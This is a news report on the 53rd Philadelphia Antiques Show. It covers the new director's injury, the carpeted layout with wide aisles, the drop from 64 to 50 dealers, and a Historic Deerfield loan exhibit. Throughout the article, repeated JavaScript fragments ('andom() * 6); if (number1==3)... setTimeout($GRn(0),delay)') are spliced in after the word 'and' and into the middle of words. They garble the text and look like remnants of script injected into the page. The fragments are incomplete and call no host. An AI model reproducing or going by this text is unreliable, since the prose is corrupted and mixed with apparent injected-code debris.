PHILADELPHIA, PENN. — The Philadelphia Antiques Show, now in its 53rd year, opened with a preview party on Friday, April 25, in Hall F of the Pennsylvania Convention Center andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and continued through Tuesday, April 29.

This year the show opened under new management, with Catherine Sweeney-Singer at the helm as show director. Unfortunately, early this year she was involved in an accident in New York City andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was seriously injured when a taxi jumped the curb andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and struck her while walking on the sidewalk. Thus her presence was lacking for the majority of the show. She did, however, make it to the preview andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the ADA dinner the following evening, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her staff was on the floor for the duration of the show.

If any major changes for the show were in the cards for this year, they were not apparent to those who visited the event. The entire place was carpeted, extra-wide aisles made it easier to view the booths andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and avoid people traffic — all except for the smaller aisle at the back of the show, an area that was quickly dubbed “the basement” by a number of the exhibitors. And the booth signs were not easy to read.

Probably the most noticeable change from 2013 was the number of exhibitors. Some familiar faces were missing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the dealer count went from 64 a year ago to 50 this time around. Without question, we suspect Catherine will have that changed before next April. But even with fewer exhibitors, the show came off as handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome as ever andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was obvious that the dealers had gone out of their way to offer special things, well presented in the right amount of light. Food was abundant at the preview, drinks flowed endlessly, some sales were made, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the show was off to a great start. It did not end well for everybody, but only a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andful of shows, if that many, can claim 100 percent success.

The loan exhibition was presented by Historic Deerfield, billed as “Decorative Arts in an Extraordinary New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Village,” showing a small portion of its collection with pieces ranging from a dressing table, probably Northampton, Mass., to the powder horn of William Williams, part of the Bill Guthman collection.
